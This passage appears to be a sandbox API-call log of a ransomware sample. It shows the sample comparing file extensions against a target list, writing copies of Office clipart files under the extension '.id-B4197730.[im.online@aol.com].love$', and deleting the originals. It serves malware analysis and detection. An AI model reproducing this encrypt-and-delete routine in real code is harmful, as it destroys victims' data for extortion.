Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString=".jpg") returned 4 [0284.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString=".doc") returned 4 [0284.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString=".docx") returned 5 [0284.088] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0284.088] lstrlenW (lpString=".pdf") returned 4 [0284.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString=".xls") returned 4 [0284.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString=".xlsx") returned 5 [0284.088] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0284.088] lstrlenW (lpString=".ppt") returned 4 [0284.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.089] lstrlenW (lpString=".zip") returned 4 [0284.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.089] lstrlenW (lpString=".rar") returned 4 [0284.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.089] lstrlenW (lpString=".bz2") returned 4 [0284.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.089] lstrlenW (lpString=".7z") returned 3 [0284.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.089] lstrlenW (lpString=".dbf") returned 4 [0284.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.089] lstrlenW (lpString=".1cd") returned 4 [0284.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.089] lstrlenW (lpString=".jpg") returned 4 [0284.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.089] Sleep (dwMilliseconds=0x64) [0284.581] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0284.581] lstrlenW (lpString="AN01044_.WMF") returned 12 [0284.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.582] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1596) returned 1 [0284.582] CloseHandle (hObject=0x36c) returned 1 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.143] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.143] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0285.144] GetLastError () returned 0x0 [0285.144] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x63c, lpOverlapped=0x0) returned 1 [0285.153] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0x640, lpOverlapped=0x0) returned 1 [0285.155] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.155] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.156] SetEndOfFile (hFile=0x384) returned 1 [0285.156] CloseHandle (hObject=0x384) returned 1 [0285.157] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.157] SetEndOfFile (hFile=0x380) returned 1 [0285.158] CloseHandle (hObject=0x380) returned 1 [0285.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0285.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.160] lstrlenW (lpString=".doc") returned 4 [0285.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString=".docx") returned 5 [0285.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.160] lstrlenW (lpString=".pdf") returned 4 [0285.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString=".xls") returned 4 [0285.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.160] lstrlenW (lpString=".xlsx") returned 5 [0285.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.160] lstrlenW (lpString=".ppt") returned 4 [0285.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.160] lstrlenW (lpString=".zip") returned 4 [0285.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.160] lstrlenW (lpString=".rar") returned 4 [0285.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString=".bz2") returned 4 [0285.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString=".7z") returned 3 [0285.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.160] lstrlenW (lpString=".dbf") returned 4 [0285.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.160] lstrlenW (lpString=".1cd") returned 4 [0285.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.161] lstrlenW (lpString=".jpg") returned 4 [0285.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.161] lstrlenW (lpString=".doc") returned 4 [0285.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString=".docx") returned 5 [0285.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.161] lstrlenW (lpString=".pdf") returned 4 [0285.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString=".xls") returned 4 [0285.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.161] lstrlenW (lpString=".xlsx") returned 5 [0285.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.161] lstrlenW (lpString=".ppt") returned 4 [0285.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.161] lstrlenW (lpString=".zip") returned 4 [0285.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.161] lstrlenW (lpString=".rar") returned 4 [0285.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString=".bz2") returned 4 [0285.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.161] lstrlenW (lpString=".7z") returned 3 [0285.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.162] lstrlenW (lpString=".dbf") returned 4 [0285.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.162] lstrlenW (lpString=".1cd") returned 4 [0285.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0285.162] lstrlenW (lpString=".jpg") returned 4 [0285.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.162] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.162] lstrlenW (lpString="AN01218_.WMF") returned 12 [0285.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.163] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3012) returned 1 [0285.163] CloseHandle (hObject=0x380) returned 1 [0285.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0285.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.164] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.164] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0285.165] GetLastError () returned 0x0 [0285.165] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0xbc4, lpOverlapped=0x0) returned 1 [0285.166] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0285.168] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.168] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.168] SetEndOfFile (hFile=0x384) returned 1 [0285.168] CloseHandle (hObject=0x384) returned 1 [0285.169] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.169] SetEndOfFile (hFile=0x380) returned 1 [0285.170] CloseHandle (hObject=0x380) returned 1 [0285.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0285.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.171] lstrlenW (lpString=".doc") returned 4 [0285.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.171] lstrlenW (lpString=".docx") returned 5 [0285.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.171] lstrlenW (lpString=".pdf") returned 4 [0285.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.171] lstrlenW (lpString=".xls") returned 4 [0285.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.172] lstrlenW (lpString=".xlsx") returned 5 [0285.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.172] lstrlenW (lpString=".ppt") returned 4 [0285.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString=".zip") returned 4 [0285.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.172] lstrlenW (lpString=".rar") returned 4 [0285.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString=".bz2") returned 4 [0285.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString=".7z") returned 3 [0285.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString=".dbf") returned 4 [0285.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString=".1cd") returned 4 [0285.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString=".jpg") returned 4 [0285.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.172] lstrlenW (lpString=".doc") returned 4 [0285.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.172] lstrlenW (lpString=".docx") returned 5 [0285.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.173] lstrlenW (lpString=".pdf") returned 4 [0285.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.173] lstrlenW (lpString=".xls") returned 4 [0285.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.173] lstrlenW (lpString=".xlsx") returned 5 [0285.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.173] lstrlenW (lpString=".ppt") returned 4 [0285.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.173] lstrlenW (lpString=".zip") returned 4 [0285.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.173] lstrlenW (lpString=".rar") returned 4 [0285.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.174] lstrlenW (lpString=".bz2") returned 4 [0285.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.174] lstrlenW (lpString=".7z") returned 3 [0285.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.174] lstrlenW (lpString=".dbf") returned 4 [0285.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.174] lstrlenW (lpString=".1cd") returned 4 [0285.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0285.174] lstrlenW (lpString=".jpg") returned 4 [0285.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.174] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.174] lstrlenW (lpString="AN01251_.WMF") returned 12 [0285.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.175] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2756) returned 1 [0285.175] CloseHandle (hObject=0x380) returned 1 [0285.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0285.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.176] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.176] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0285.176] GetLastError () returned 0x0 [0285.176] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0xac4, lpOverlapped=0x0) returned 1 [0285.859] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xad0, lpOverlapped=0x0) returned 1 [0285.862] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.865] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.866] SetEndOfFile (hFile=0x384) returned 1 [0285.866] CloseHandle (hObject=0x384) returned 1 [0285.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.866] SetEndOfFile (hFile=0x380) returned 1 [0285.867] CloseHandle (hObject=0x380) returned 1 [0285.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0285.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.869] lstrlenW (lpString=".doc") returned 4 [0285.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.869] lstrlenW (lpString=".docx") returned 5 [0285.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.869] lstrlenW (lpString=".pdf") returned 4 [0285.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.869] lstrlenW (lpString=".xls") returned 4 [0285.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.869] lstrlenW (lpString=".xlsx") returned 5 [0285.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.869] lstrlenW (lpString=".ppt") returned 4 [0285.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.869] lstrlenW (lpString=".zip") returned 4 [0285.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.870] lstrlenW (lpString=".rar") returned 4 [0285.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString=".bz2") returned 4 [0285.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString=".7z") returned 3 [0285.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.870] lstrlenW (lpString=".dbf") returned 4 [0285.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.870] lstrlenW (lpString=".1cd") returned 4 [0285.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.870] lstrlenW (lpString=".jpg") returned 4 [0285.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.870] lstrlenW (lpString=".doc") returned 4 [0285.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString=".docx") returned 5 [0285.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.870] lstrlenW 